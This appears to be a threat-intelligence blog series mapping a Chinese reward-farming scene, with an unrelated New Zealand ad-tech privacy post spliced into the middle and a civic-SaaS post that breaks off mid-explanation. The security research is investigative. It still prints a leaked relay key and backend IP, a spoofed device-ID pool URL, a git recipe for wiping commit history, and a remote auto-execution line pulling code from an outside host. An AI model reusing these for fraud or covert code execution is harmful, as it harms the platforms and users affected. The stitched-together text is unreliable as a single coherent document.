• What looked like 16 independent authors is one shared tool stack. Custom obfuscator helper variable names carry between accounts, four unrelated repos target the same obscure mini program, every Unicom bot pulls device IDs from the same Gitee file, and the git-history scrub recipe is published as a how-to on one of the operators’ own blogs.
• These operators know GitHub is dangerous. One of them publishes a how to on wiping your commit history, and the scene treats the scrub as routine (we saw it in multiple places). It doesn’t save them: trying to hide your tracks is itself a trace, and they guard the obvious surface (repo contents, secrets) while leaving the structural one (fork graphs, delete diffs) wide open. They defend the page, not the graph.
• The scene’s shared JS deobfuscator, smallfawn/decode_action, has 1,300+ forks. Every fork is a public git history of every script that operator ever needed decoded, and the fork list itself is a directory of who’s in the scene. Nobody meant it to be a signal. It is one anyway, and it’s how I found actors the toolchain fingerprint missed.
• Sixteen actors is what I mapped, not a complete census. Handle -> real person is always (inferred). I mapped operators and infrastructure, not identities.

Terms in this post

If you landed here mid-series, the hub post has the whole picture and the full glossary. The load-bearing ones:

• OSINT: mapping a scene from public artifacts only, not from touching anything live.
• IOC: indicator of compromise. Any specific thing (domain, key, filename, magic prefix, handle) unique enough to pivot on.
• orphan-branch scrub: git checkout --orphan ... && push -f. Rewrites a repo’s whole history to erase a leaked secret. Also very obviously the thing that happened.
• device-ID pool: a shared list of spoofed device fingerprints. Every bot pulls from the same file, so every user of these scripts presents the same handful of “phones” to fraud detection.
• ev2: the sealed payload format from part 2. Opens with the 12-char magic |(LTm_R7mUd@. That magic is one of my pivots.

What a shared cipher actually proves

I already knew this was a scene, and not just a few kids messing around. The first post laid the supply chain out end to end: operators writing the scripts, wyourname renting DRM over the top, shared plumbing underneath, a marketplace stitching it all together. What I didn’t have yet was hard, code-level proof of who was tied to who. “This looks like a supply chain” is a structural hunch. I wanted a fingerprint, and proof.

Here’s where the fingerprint turned up.

The 985Ming/qlk repo has two hand rolled obfuscators. Not off the shelf, not jsjiami.com.v7, not sojson, just private helpers with names like custom_subtract and xor_b85. When youre rolling your own crypto you get to name your own helpers, and names like those don’t turn up in a normal Python codebase by accident. Obiligtory “Don’t roll your own crypto”.

Then they turned up in xxwppp/2025.

康师傅瓶盖1.3.py uses the same subtract cipher. 王老吉签到1.0.py uses the same b85+XOR. Different account, different marketplace watermark, same private crypto.

I want to be careful about what that does and doesn’t buy me, because this is exactly the spot where this kind of work fools people. It is not proof that qlk and xxwppp are the same hands, and it isn’t even proof of who wrote either script. Remember what xxwppp does for a living: they take other people’s plaintext and run it through their own obfuscation before reselling it. In a scene that sells obfuscation as a service, the toolchain is the most-shared thing in it, not the least. A matching cipher might mean “same author”, or it might just mean “both scripts went through the same laudnromat”, and I can’t split those apart from the cipher alone.

What it does buy me is a signal, and that turns out to be the thing worth having. Off the shelf obfuscators (jsjiami.com.v7, sojson) mark nothing, everyone on earth runs those. A hand rolled custom_subtract that shows up in no normal Python codebase is the opposite: it only ever circulates inside this circle, so wherever it turns up, that repo is inside the circle too. It doesn’t tell me who is who. It tells me these accounts are all pulling from one shared tool stack, which is the entire idea.

Everything past this point is me pulling on that thread. And the two moves that did most of the work from here are both opsec own-goals: the traces these operators left while trying to cover them, and the GitHub surfaces they never thought to hide. They know the platform is dangerous. One of them, as you’ll soon see, publishes a guide to scrubbing your repo. But the risk they’re defending against is “someone reads my code”, not “the platform’s own structure is a ledger”. They defend the page. They don’t defend the graph.

The shared toolchain

Once you know to look for it, the fingerprints pile up fast:

• The custom obfuscators. custom_subtract and xor_b85 tie qlk ↔ xxwppp.
• kozbs.com. A niche WeChat mini-program (植白说) with obscure integral shop endpoints, scripted by four independent authors: qlk, Xx1aoy1, MCdasheng, KingJin. When a target this small shows up four times, someone posted it in a private chat and the script propagated.
• integralapi.kuwo.cn. KuWo Music is in every primary farming repo I looked at. Same /v1/getWithdraw endpoint across five of them. Shared exploit, not five independent discoveries.
• script.345yun.cn. xxwppp’s marketplace watermark travels with sold scripts into sembrono’s and Xx1aoy1’s repos. Distribution, not authorship. And the marketplace itself is a script laundering step: someone writes a plaintext script (KingJin, leafTheFish), xxwppp obfuscates it, watermarks it, resells it, aggregators re-host it under their own names. Provenance is a mess by design.

• The shared device-ID pool. Every decrypted Unicom script pulls from the same file:

  https://gitee.com/kele2233/genxin/raw/master/ydid.json
  

  Every bot, across every operator’s install, presents the same handful of device IDs to China Unicom’s fraud detection. Which means the whole scene is easier to catch than any single operator running their own pool would be. Nobody wants to be the one who burns an afternoon generating a fresh pool, though, so they all just inherit kele2233’s. Who I guess will generate more if this set gets burnt

There’s a live remote execution thread running through this too, and it’s worth flagging before I move on. Three xxwppp scripts (联通云手机.py, 联通云盘.py, 白鲸鱼旧衣服.py) do this on every run:

execute_code(main)   # pulls fresh code from git.365676.xyz

Every user of those scripts is running whatever git.365676.xyz decides to serve that day. Silent auto update dressed up as a design choice, and whoever controls that CDN (wyourname, from the DRM post) can push arbitrary Python to every install without so much as a version bump. Nobody’s checking, and nobody ever does.

Two operators can both ship 猫猫阅读.py. Only one of them has the custom_subtract helper that matches the tool stack that account has been shipping for two years. That is the whole reason the fingerprint pivots above can place a repo inside the circle, in a scene where the scripts themselves get laundered a couple of hops before you ever read them.

Git history was the highest payoff move

That’s the first of the two own goals, and it’s the one they actually try to defend. Hiding your tracks leaves a trace. A deletion isn’t a disappearance, it’s an event: git records that something was removed, roughly when, and usually what, and all of it stays public long after the thing itself is gone. A scrub is a diff.

Which is exactly why git history was the highest payoff move for me. People only bother scrubbing what matters, so the deletions double as a map of where the good stuff was. And sometimes the scrub does more than point: the act of removing something can drag a load bearing fact from “probably” to “definitely” on its own. Two examples.

HASL1: how a scrub converts “probably real” into “definitely real”

From the smallfawn post the credential relay backend is 8.141.174.247:3000. A skeptical reader should be asking whether that IP is a real backend or just a placeholder someone forgot to fill in. The git history settles it, and it settles it because smallfawn made the exact mistake everyone in this scene makes.

Three consecutive commits:

• 2024-11-10: first commit ships "key": "HASL1", "server": "http://8.141.174.247:3000".
• 2024-11-11: scrubbed. Both replaced with placeholders (KEY, APIURL).
• 2024-11-12: server address quietly re added, key left as 卡密 (Access Code, literally the Chinese placeholder).

You don’t scrub a value and then re add a placeholder. HASL1 was a working shared secret that sat in public for about a day, and the IP it sat next to is the real backend. Left completely alone it would have read as a credible IP next to a suspiciously literal key. The act of scrubbing it is what converted “probably real” into “definitely real”. They told me by trying not to.

qltrojan’s May 2024 wool affiliation

Two scripts, bilibili_play.py and qimao.py, both created 2024-05-07 and deleted 2024-05-12. Both downloaded .so files from files.doudoudou.top and files.doudoudou.fun. That five-day window pins qltrojan’s wool affiliation to at least early May 2024, confirms .fun was a live loader CDN alongside .top, and shows a deliberate scrub of exactly the most obvious DRM-dependency evidence, one week in.

Someone looked at those two files, thought “I should get rid of those”, and did. But they left enough of the surrounding tree in place that the affiliation is still inferable from the launcher scripts they kept, which is how I noticed the deletion in the first place.

They wrote the how-to themselves

This is the one I want to highlight, because it’s the finding that made me crack up.

Once you clock smallfawn, qltrojan, and leafTheFish (who wiped their entire GitHub account) all pulling the same orphan-branch; push -f move, you start wondering where they all learned it. Turns out you don’t have to wonder. One of them just publishes it.

Actor 14 (xiaobaiweinuli, persona 星霜/xingshuang) has a blog. On that blog is a post literally titled “删除github中的提交历史记录的 操作步骤”, “steps to delete github commit history.” It walks through the exact recipe:

git checkout --orphan latest_branch
git add -A
git commit -am "message"
git branch -D main
git branch -m main
git push -f origin main

This is the same recipe smallfawn used on HASL1. It’s the same recipe qltrojan used to nuke bilibili_play.py. It’s what leafTheFish would have run before nuking their whole account. The scrub is a scene rite of passage, and the how to is documented as exactly that: not a buried private-group post, a public blog with a permalink you can bookmark, and an author you can identify.

Xingshuang is a hobbyist, not a load-bearing operator. They run a wool fork and a Qinglong panel off their home LAN. But the fact that they are the one publishing the recipe is the interesting part: the tradecraft isn’t secret, it’s common knowledge, taught operator to operator, with the Chinese language security community around it writing the walk throughs.

Which is the whole point, for my purposes. These operators are not naive about GitHub. They know history is forever, they’ve got a shared drill, and run book for wiping it, they treat the scrub as basic hygiene. So a scrub isn’t a slip. It’s a decision, made by someone who knew the platform remembers and acted on it. And a decision is signal in a way an accident never is: when I find one, I’m not looking at someone who forgot, I’m looking at the exact spot someone decided was worth hiding. HASL1 is that. qltrojan’s deleted loaders are that. The delete points at the thing.

Nice bit of OPSEC irony to close on, the blog whose entire reason for existing is “delete your git history” is a walking counterexample to itself. Its other pages leak enough about their author’s own identity and self hosted stack to unwind precisely the anonymity the how to is meant to buy. They’ll teach you how to erase your tracks on a site that plainly doesn’t take its own advice. I’m not printing the specifics, doxing this person provides no value, but that’s the finding in one line: the tradecraft and the self own live on the same domain.

The tool that doubles as a register

Somebody in this scene built a JS deobfuscator that runs on GitHub Actions, and I’ll say up front it’s a genuinely nice bit of kit. Fork smallfawn/decode_action, push an obfuscated script to input.js, and the CI pipeline hands you back the cleartext in output.js, right there in your own repo. It eats jsjiami v5/v6/v7, obfuscator.io, sojson, jjencode, jsconfuser, awsc for breakfast. Everything the scene throws around. 693 stars, 1,300+ forks. Free serverless decode infrastructure running on GitHub’s own compute, and I mean that as a compliment.

It works. Which is exactly why the scene adopted it wholesale.

Here’s the part nobody stopped to think about, and it’s the second half of the story. The scrub is what they do to the page. The fork list is the graph they forgot was public.

Two things fall out of it. First, every time an operator decodes a script through their fork, that transaction is a public git commit in their fork. Every input, every output, every timestamp. The tool that unhides the scene’s scripts is also a public timeline of which operator needed which script decoded on which day. Second, and this is the one that actually grew the map: the fork list is a directory. 1,300+ forks is 1,300+ accounts that reached for this tool, and walking it is how I turned up actors who never showed in the helper name fingerprint at all. The toolchain ties together the people you already have. The fork list hands you the ones you don’t. Most of the extended cluster in the closing section came from walking forks, not from grepping helpers.

Three concrete fork profiles:

• aini1351. Fork history reads as a tidy tooling progression, not idle curiosity. August 2025: JD const_id anti-fraud token generators. October 2025: qltrojan’s civic lottery scripts (DaChao.js on 2025-10-08, WangChao.js on 2025-10-19, the tmuyun/aihoge civic SaaS scripts from post 4). May 2026: 今平湖 (another tmuyun civic app). June 2026: Panda Earn. That’s not a hobbyist decoding one script for fun. That’s an operator working through targets one at a time and leaving the cleartext of every single one of them sitting public in their own repo.

• XiaoGe-LiBai. Not just a decode_action user. Also writes their own Loon MITM plugins intercepting SF Express tokens (ccsp-egmas.sf-express.com), Kuaishou salt/cookie/kaw parameters (api3.gifshow.com, az4-api.ksapisrv.com), and Domino’s Pizza China auth tokens (game.dominos.com.cn). The decode_action fork is just one tool in a full farming operator’s stack, sitting alongside a JD cookie-pool manager (svjdck fork) and a custom Dockerfile. Their fork is basically a receipts drawer left open.

• ACSDSZ. The outlier, and the one I keep thinking about. Not a farming operator at all, but a full AI-autonomous reverse engineering pipeline. mitmproxy + Frida + jadx + apktool + a Qdrant vector memory + a Claude-based agent (they call the framework “Hermes”), all wired together over MCP servers. The docs claim they reversed Douyin’s live room signing chain and Zhihu’s x-zse-96 (JSVMP + SM4 + bit-shuffle) in about 4.5 hours, at a Claude cost of ~¥24 (about 6NZD). Whether those specific reverses landed clean isn’t really the point. What the setup represents is. The next generation of this exact attack surface doesn’t look like a person hand coding exploit scripts. It looks like an agent chewing on the problem overnight and filing the results into a vector DB by morning. Reversing new signing schemes is getting cheap, and that should bother more people than it does.

  ACSDSZ also committed a live LLM API key and a live Qdrant API key straight to the public repo. Both (verified) at time of analysis. I’ve described the finding rather than reprinting the strings, for obvious reasons.

Three forks, three profiles, one deobfuscator. The whole scene reached for the same tool because it’s free CI. Not one of them noticed they’d also all signed the same public receipt.

The other half of the scene: iOS IAP crackers

Two operators run the iOS half on the same substrate but a completely different attack surface.

MCdasheng: ~80 QuantumultX scripts, half rehosted IAP crackers, half original farming. Runs a polished BoxJs subscription. Their kuwo.cookie.js MITMs a KuWo cookie on iOS and shoves it into Qinglong via OpenAPI. iOS captures, Qinglong farms. That cookie.js + Qinglong handoff is the bridge that stitches this half of the scene to the other.

Yu9191: 375 files, the largest iOS collection in the scene. A GitHub Actions workflow commits "update onetoken {ISO8601}" every six hours. onetoken is a subscription-validity marker, and a 6-hour commit cadence at that scale isn’t a hobby, it’s a paid product with a customer base big enough to justify the churn.

The zbs.js script targeting kozbs.com shows up on MCdasheng’s iOS side too, which makes it the fourth independent hit on that one mini-program. Shared targets don’t even respect the Android/iOS divide.

The dead ends

Not every pivot pays off, and being straight up about the ones that didn’t is the only thing that keeps you from fooling yourself about the ones that did.

• HAR library. wjf0214/qd-templates is a 656-star repo of captured .har sign-in sessions. I got excited: if a wool subscriber ever caught their own common.so phoning home, that traffic could be sitting right there in a public HAR. So I grepped the whole tree for every IOC I had: doudoudou, 365676, wyourname, 1.94.146, encData, VToken. Zero hits. Different ecosystem entirely (QD signin, forum bots, VPN dashboards). No overlap. Nice idea, no fruit.
• passerby-b/didi_fruit: listed in Yiov/wool as an encrypted script source. 404 by the time I got there.
• gitlab.radish.today/root/script: self hosted GitLab referenced by Meituan scripts. Unreachable. Dead infra, or it was IP blocking me, and I couldn’t tell which from the outside.
• The 181.94.146.238 false positive. A hit on bermanboris/blocklist-ipsets that turned out to be 181.94.146.238, not 1.94.146.238. One stray 1 in the wrong place. Caught it before it made it into any notes, but the lesson’s worth keeping: substring matching on IPs is not always correct, and you want proper regex boundaries the moment the corpus gets this big.

The cast

Sixteen actors after dedup (handles that turned out to be one operator are merged). Every row is a handle, not a name: I’m mapping accounts, not the people behind them.

Attribution note: proxy affiliate codes don’t imply shared identity. 985Ming uses ipzan.com?pid=8ghr872u8, KingJin uses gzsk5.com/?invitation=hnking2. Different codes, different providers. Handles are real accounts for the tooling, but a handle is not a human. I did not doxx anyone.

Platform scope

Between them the 16 actors target 130+ distinct platforms: music, video, novels, telecom, banks, FMCG brands, and, the part that made me worried in the civic post, government and civic apps. Beijing 96156 social-services quizzes, a whole pile of Zhejiang prefecture civic apps sharing tenant SaaS backends, and user.youth.cn (China Youth Daily’s reading app, whose withdrawal binary I reverse-engineered out of the wool compatible branch).

What I’d do differently next time

Three things that would have saved me a good chunk of time, if I were starting this over on a fresh scene.

I spent most of the first day reading scripts, convinced that behaviour would tell me who wrote what. It won’t. It didn’t. Scripts in a scene like this get laundered: someone writes it plaintext, someone else obfuscates and resells it, an aggregator re-hosts the obfuscated copy under their own name, and by the time you’re squinting at it at 3am you’re two hops downstream of whoever actually wrote it. What genuinely ties the accounts together is the plumbing, the private helper function name, the specific URL for a device ID JSON, the exact CDN domain buried in an execute_code() call. The behaviour gets copied everywhere. The private plumbing only moves inside the circle. I should have grepped for helper names before I read a single line of logic.

I also very nearly missed the scrub story, because I read the current state of every config file and moved straight on. The HASL1 finding wasn’t in the current config.json at all, it was in a commit from 2024-11-10 that survived exactly one day. A config that goes “credible value → placeholder → wait, half the credible value just came back” is quietly telling you where the real backend lives. Scrubbing is louder than not scrubbing. Read the sequence, not the state.

And the decode_action fork thing, I did find it, just far too late to work it properly. If I’d walked those forks on day one instead of day three, I’d have had aini1351’s entire target timeline in hand before I was even done mapping qltrojan. Any tool in a scene that works by “fork this repo, push your input, GitHub Actions writes the output back” is a public log of what every one of its users needed processed and when. Wallet checkers, jsvmp deobfuscators, sign-in frameworks, all of them. The scene adopts them because they’re free CI. Nobody notices the receipt.

Where it stops

Sixteen actors is what I mapped, not everyone in this scene. The engagement was a weekend that ran long and a few days after to write these posts, and the pivots happened to converge on a contiguous group after dedup. Extended profiles out in the decode_action network (Ecalose, Rosylusi, Charles-Hello, shufflewzc, ACSDSZ) I’ve noted but not fully worked.

Proxy affiliate codes don’t imply shared identity. Cross repo overlap on obfuscators, keys, or device-ID pools shows shared source or toolchain, not necessarily one operator behind two accounts. I want that line to hold even when the overlap is tempting.

wd210010 is (verified) clean. If you’re reading this and you know that handle, please don’t lump them in with the fraud actors, their entire footprint is a Bilibili daily check-in and a decode_action fork. That’s the whole story.

ACSDSZ committed real credentials; that part is (verified) straight from the repo history. Republishing the strings would be dumb, so I haven’t.

Fork git histories are (verified) from --depth=1 clones plus unshallow fetches. Commit author emails don’t always line up with GitHub usernames, so where I’ve matched a fork operator to a specific script set I’m confident, and where I’ve matched by fuzzy heuristic, that’s flagged (inferred).

Resources

• The hub post: ecosystem overview + glossary.
• Post 1: the Cython DRM I cracked.
• Post 2: the Rust wall I didn’t.
• Post 3: smallfawn farming the farmers.
• Post 4: forging the government’s lottery.

• Two buy-side ad brokers, The Trade Desk and Xandr, each receive a persistent cross-site identifier from six of the ten sensitive New Zealand sites I checked: a patient portal, a bank, the national lottery, a city council and two universities.
• On managemyhealth.co.nz the two of them swap identifiers with each other mid page. The cookie match request is in the post.
• Across the whole corpus, 77 of 104 publishers send at least one persistent identifier to a third party.
• Every one of those requests carries gdpr=0 and an empty consent string. The ad-tech consent vocabulary has no concept of New Zealand law at all, so no interaction of a NZ reader governs any of it.
• IPP 3A came into force on 1 May 2026. It requires an agency collecting your personal information from a source other than you to take reasonable steps to tell you who they are and what they took. As far as I can find, nobody had measured the NZ surface against it.
• temu.com runs cookie match pixels on nine major NZ sites. I could not show it links them server side, and I have left that failed escalation in the post.
• This is not a breach finding. Every party named here may have a lawful basis I cannot observe from a browser.

You think you visited one website. You met 122 companies.

I went looking because of a talk. At BSides Brisbane, D8RH8R took apart SS7 signalling firewalls: seven ways a legal-but-unusual BER encoding makes the firewall and the network element disagree about what a message says, so the firewall passes a query it should have blocked. He closed by saying that was all old tech, and the interesting unexplored surface now is ad tech. He gets the credit for the direction and none of the blame for what I did with it.

A short primer, because the vocabulary is genuinely awful. When a page loads an ad slot it does not load an ad. It runs an auction, in the few hundred milliseconds before you see anything, and every bidder is software. The slots are called inventory ie the different ad locations on the page. A supply-side platform works for the publisher and sells inventory. A demand-side platform, or DSP, works for the advertiser and buys it.

That naming is the worst part of the field, so it is worth stating clearly (or attempt to): the advertiser is the one demanding inventory, so the firm bidding on the advertiser’s behalf is the demand side platform and is also called buy side. Same thing. I use buy-side below because it is the clearer word for what they are: buyers of ad locations. And for an auction to be worth running, the buyers have to know who they are bidding on. That is what the identifiers are for. The more info the have the better it is for them. The advertisers will know they type of person you are the sites you visit your location etc etc.

I loaded New Zealand’s most visited sites in a real browser and recorded every identifier handed to every third party, with full provenance back to the raw request. Opening 1news.co.nz introduces you to 122 distinct companies. nzherald, 121. stuff, 103. Most of them you have never heard of, and none of them you chose.

One note on those counts before you compare them to anyone else’s. I ran every site twice, once on a fresh profile and once on a warmed one carrying history, and the fresh profile produced about 26% more identifier bearing requests, which will be turned into its own post eventually.

I expect a news site to load a hundred advertisers’ worth of code. That is what a free news site is, and it is bad enough. The sites below are the ones that surprised me.

The same two ad brokers are on the sites that should know better

The Trade Desk and Xandr are buy-side platforms. Their entire business is bidding on ad slots for advertisers. They have no product for you, no account you hold, no reason to know who you are. And each of them receives a persistent cross-site identifier from six of the ten sensitive New Zealand sites I checked:

An identifier on its own is just a random string assigned to you. It starts mattering when the same company receives the string and the page it arrived on, because then it can write a row: this identifier was observed visiting a patient-portal domain. On managemyhealth, The Trade Desk got exactly that pairing. These are firms that see you across most of the web, so the visit doesn’t sit alone. That is what the design is for: on their side, one value arriving from a patient portal and again from mylotto is a single profile carrying both, which is the kind of context that supports a health-related inference.

And the two brokers don’t just receive the identifier: they reconcile it with each other. Captured mid-handshake on the health portal, The Trade Desk hands its ID to Xandr and asks for Xandr’s in return:

https://match.adsrvr.org/track/cmf/appnexus?ttd=1&anid=$UID&ttd_tdid=b0171955-c02d-42f1-a215-b2274ee35e96

match.adsrvr.org is The Trade Desk; appnexus is Xandr’s former name; cmf is cookie-match-feed. The identifier is ttd_tdid: The Trade Desk’s cross-site identifier, the one built to follow you everywhere. That word is doing the work. An auction-scoped token is a receipt for one ad sale and is meaningless an hour later. A cross-site identifier is a name, and it is built to still mean you tomorrow, on a different site.

I should be honest about the limits here, because they matter. I visited public pages with no account, and a crawler has no diagnosis to leak and no lottery ticket. That doesn’t defuse it: the sensitive fact isn’t the page, it’s the domain. And on my cold profile the ttd_tdid was a fresh value on each site, so I cannot show the same person linked across the health portal and the bank from this data. A fresh browser is the one case where that identifier doesn’t persist. For a real visitor carrying a Trade Desk cookie, a cross-site identifier is exactly what it is designed to be. What happens behind a login, where a real patient’s activity lives, is worse and is where a browser can’t follow.

The worked example: Temu is running the matching hub

The most legible single case is one you wouldn’t expect. temu.com (the Chinese shopping app) receives persistent identifiers on nine major NZ sites. The full request URL is the whole story:

https://www.temu.com/api/adx/cm/pixel-opera?adx_uid=75c07d23...&gdpr=&gdpr_consent=&us_privacy=&redir=https%3A%2F%2Ft.oa.opera.com%2Fsync%3Fvendor%3D60369...

cm is cookie-match: the mechanism two ad companies use to agree that their separate IDs for you are the same person. These are Temu’s own match pixels, one per partner, receiving IDs from Google AdX, Smaato and Outbrain and redirecting onward to sync them. Consent fields present and blank.

The sensational version is “Temu tracks one reader across nine sites.” I couldn’t make it hold up with my test bench. The adx_uid is a different value on every site (a per-match token, not a stable ID), and the only cookie Temu sets is Cloudflare’s bot-detection token, non-identifying by design, on fresh and warmed profiles alike. So it stays here: Temu runs the matching plumbing, consent empty, on nine major NZ sites; whether it links that server-side, a browser can’t see. I’m leaving the failed escalation in because the finding is more solid for it. However, I think if the test bench had browsed to more sites, maybe even signed into to temu it might have used that cookie.

The law it runs into

On consent: these sends carry gdpr=0 (an assertion that GDPR does not apply, which for a New Zealander is correct) and an empty consent string. There is no New Zealand signal in the request at all, because the ad-tech consent vocabulary has no concept of New Zealand law. A NZ reader is described to the market in the language of a regime that doesn’t cover them, and no interaction of theirs governs any of it. That doesn’t prove nobody was told anything. It shows that if a New Zealand notice governs this collection, the auction transaction carries no sign of it.

This is where New Zealand’s IPP 3A comes in, and it’s worth being precise about which principle does what. IPP 2 is the one that says collect personal information from the person concerned, unless an exception applies. IPP 3A is new and it points the other way: it came into force on 1 May 2026, and it says that if you collect someone’s personal information from a source other than them, you have to take reasonable steps to make them aware of it. What you have to tell them is spelled out: that you collected it, why, who else gets it, your name and address, and how they can access and correct it.

Programmatic ad tech looks like indirect collection by design. The request leaves your browser, but nothing in it is something you handed the broker: the publisher’s ad stack builds it and fires it. Whether that counts as indirect collection for the purposes of IPP 3A hasn’t been tested. If it does, the OPC’s guidance puts the duty on the indirect collector, and says that where there’s a chain of disclosure and collection, every agency in that chain carries its own obligation. The Trade Desk handing its ID to Xandr and taking Xandr’s back is a chain. Neither of them has ever shown itself to me.

One line in the OPC’s guidance is hard to read any other way. There’s an exception for collections that wouldn’t prejudice the person’s interests, and the guidance gives an example of when it does not apply: collecting data to build profiles of individuals for targeted advertising.

Across the whole corpus, 77 of 104 publishers send at least one persistent identifier to a third party. As far as I can find, nobody had measured the NZ surface against it.

Limits

Not a breach finding. I have no view of notice given elsewhere, processor contracts, prior authorisation, or IPP 3A’s exceptions. Every party may have a lawful basis I can’t observe. Two defences in particular are open and I can’t close either from a browser: whether a pseudonymous ad ID is personal information about an identifiable individual at all, and whether notification is reasonably practicable for an agency that holds no contact details for you. What I’m reporting is a mechanism and its reach: buy side ad brokers collecting persistent identifiers from New Zealand’s health, banking, government and education sites, measured against the principle that applies. Someone with more authority than a browser and a weekend should look at the rest.

Every number in this post rederives from the captured data. Each observation is stored content addressed with its raw request, so 77 of 104, the buy side table, the −26%, the per-visit ttd_tdid, and the gdpr=0 consent state are all queries against the same evidence, not figures I eyeballed. If you’re at the OPC, or you run one of the sites named here and want the raw captures for your own domain, get in touch.

• The civic apps in this scene are not bespoke. The city app and the state media apps are mostly just thin skins over a handful of B2B “interactive marketing” SaaS providers eg tmuyun (天目云), aihoge, jinhua (金华云), and Duiba (兑吧). They are separated only by a client_id.
• The signing that is supposed to make their reward campaigns unforgeable has no real secret. The GET signature uses a public salt, and the login HMAC key is served to you on request by an init endpoint, and every input is attacker known, and eaisly mapable.
• The campaigns these tenants run eg daily sign-in bonus, read an article for points, quiz/”study” completion, sweepstakes draws, are all forgeable self serve. And the same shared signing scheme also guards the account and member endpoints, so the same forgery plausibly reaches the citizen PII behind every tenant city, though I never exercised that half.
• Cash-out is to Alipay (phone&password&支付宝姓名&支付宝账号).
• The part that makes this more than commercial fraud: state-media loyalty farming on the same shared base above, and on separate infra (bjsfxh.com + luckystarpay.com) Beijing government quizzes auto-answered by an LLM (Xunfei Spark) for cash lottery. Inflating engagement on state content and gaming a government reward program is a scary thing to do in China…
• It’s not just one operator. The same base SaaS turns up in unrelated farmers’ scripts across at least two Zhejiang prefectures and into Guangdong. The providers, not any one farmer, are the only real concentrated attack surface.
• This was all found via the public GitHub repos, I did not hit any endpoint, nor run any of the scripts, I merly read them.

Terms in this post

If you landed here mid-series, the hub post has the whole ecosystem overview and the full glossary. The load-bearing terms for this one:

• wool / 薅羊毛 — Chinese reward-farming. Running scripts on a schedule (typically via Qinglong, a cron-job webui) to drain loyalty points, coupons, and lottery payouts out of apps, then cashing out. The whole scene this series is mapping.
• script / wool script — the actual code the farmers run. Usually Python or JavaScript, one file per targeted app. It logs in, hits the app’s reward endpoints, and pockets the payout. In this post the ones I read are all plaintext — no DRM, no loader, so I can read them line by line.
• farmer / operator — the person writing and running wool scripts. This post leans mostly on qltrojan (@xzxxn777), a farmer whose civic-app scripts I could read straight through.
• SaaS (multi-tenant) — one backend serving many branded apps, separated only by a client_id. The whole story turns on this.
• client_id / tenant_id — the per-app identifiers. Swap them and you’re talking to a different city on the same backend.
• signing salt / HMAC — the “secret” that’s meant to make requests unforgeable. Here the salt is public and the key is served on request.
• ddddocr — an open-source deep-learning OCR that solves the slider and image CAPTCHAs these campaigns use.
• Duiba (兑吧) / tmuyun (天目云) / aihoge / jinhua (金华云) — the shared civic-marketing SaaS providers this post is about.
• Alipay cash-out — sweepstakes winnings paid to a real Alipay account, stored in the farming script’s config.
• ev2 — the sealed-payload format from the Rust wall post — the DRM-tier scripts I could not decrypt. Shows up once in “Where it stops”: one ev2 payload lines up with a civic app on this SaaS, most don’t.

Background: the civic app that didn’t look special

This one started with a qltrojan script, the same gov app farmer (@xzxxn777) from the last posts pointed at a city app. 西施眼 (Zhuji), 掌上武义 (Wuyi), 今日越城 (Shaoxing): small regional civic apps, the sorta thing a local government stands up for citizen engagement, training, and surveys. Sign in daily, read some articles, earn a few points, maybe win a lottery draw. Nothing that should have caught my eye, honestly, this is super common these days, think of those daily bonuses on mobile games. I only opened the first one because it was a government app and I wanted to see what a Chinese city was actually running under the hood, and why some app farmer was interested in it. If they saw something, maybe I should be looking too!

Then I opened the second one and something felt off. Same /api/account/init. Same /web/init?client_id=. Same /api/user_mumber/sign (No that is not a Neuro mispelling). Same /api/zbtxz/login. Different city, different client_id, different xsb_<region> code, and otherwise the same script. So I opened a third. Same again.. I am starting to see the theme here.

These weren’t bespoke apps. They were tenants. Once you see that, the interesting target stops being any one civic app and becomes the handful of SaaS providers they all sit on. That’s the moment this stopped being a farmer story and became a SaaS story.

The providers (the real subject)

There are four B2B “interactive-marketing” SaaS providers doing the heavy lifting across the farmed apps, and each one is multi-tenant. You can see it in the endpoint surface: byte-identical across every tenant script I read, only the client_id and xsb_<region> codes changing between them. Which makes sense, every prefecture in China isn’t standing up its own bespoke in house points and lottery stack, they’re all buying it from the same handful of vendors.

Each farmed app chains a few of these providers together. YueCheng.js (越城) does account + content on tmuyun, then a quiz on jinhua, then the lottery draw on Duiba. DaChao.js (大潮, Guangdong) does the whole account content activity stack on aihoge. TongLu.js (桐庐) rides tmuyun then a separate PHP style lottery engine. And that’s four distinct sweepstakes engines across five scripts, which is how I know these are four separate providers being stitched together, not one big vendor with multiple product lines.

One client_id to rule them: the multi-tenant model

Here’s the thesis, and it comes in two halves.

First: tmuyun.com and aihoge.com are running the same base software. Not similar, not same functionality, but the same.

Every one of these lines up between them:

• The account endpoints: /api/account/init, /web/init?client_id=, /api/zbtxz/login.
• The member endpoints: /api/user_mumber/* (yes, same typo on both).
• The content endpoints: /api/article/*.
• The zbtxz SSO path itself, which is not a generic name.
• The signing salt (same short string, hardcoded, identical on both).
• The xsb_<region> tenant code scheme.

That’s no coincidence, and it’s not two vendors happening to both use the same conventions. Two teams or companies dont both call their endpoint /api/user_mumber/ with the same typo. So the honest options are: one vendor running two clouds, one vendor selling a license, or a shared white label SDK. Which of those it actually is, I can’t tell.

Second half, and this is the point of the post. Whichever of those it is, the consequence is the same: each provider serves many cities through one client_id keyed campaign API. So the exposure is the provider, not the app. Reach one provider’s activity API, map it out and figure out how to game it, and you can game all of their clients.

The plaintext scripts alone name ten civic tenants across three Zhejiang prefectures and one Guangdong prefecture, and the xsb_<region> naming scheme means there might be many more xsb_<something> tenants I never saw a script for. And this is the same shape as the commercial brand case: one Weimob endpoint (xapi.weimob.com) fronts 100+ retail brands through tenant IDs the same way, and the same farmers hit it with the same playbook.

Civic is just a worse version of that pattern: the tenants are cities and government programs, and what sits behind the campaigns is citizen PII and public trust, not coupon budgets.

It’s not one operator

If this were one farmer, it would be a smaller story. It isn’t. The tmuyun base turns up in scripts from operators with no connection to qltrojan:

• Taizhou (台州): passport.tmuyun.com in Sembrono’s scripts, and the same base farmed by the 爱仙居 (仙居县) author (Telegram t.me/fxmbb, invite codes handed out publicly).
• Guangdong: aihoge running the identical base for 大潮 (潮汕).

So the shared base spans at least two Zhejiang prefectures and reaches into Guangdong, farmed by multiple independent operators. That’s the tell that the provider is the attack surface, not any one farmer. The concentration is in the SaaS, and every tenant inherits its weaknesses.

Reach beyond the cast: qltrojan’s civic suite travels further than the operators I mapped. A fork of smallfawn/decode_action surfaced a full mirror of it on a subscriber’s iOS device (bhlzjy/Surge), and zjk2017/ArcadiaScript redistributes the same civic scripts to its own community. Full distribution map is in the cast and tradecraft post.

The signing scheme, reconstructed: why it isn’t a secret

The campaign requests are signed two ways, and neither one carries a real per client secret.

The GET signature is a SHA-256 over a fixed field order:

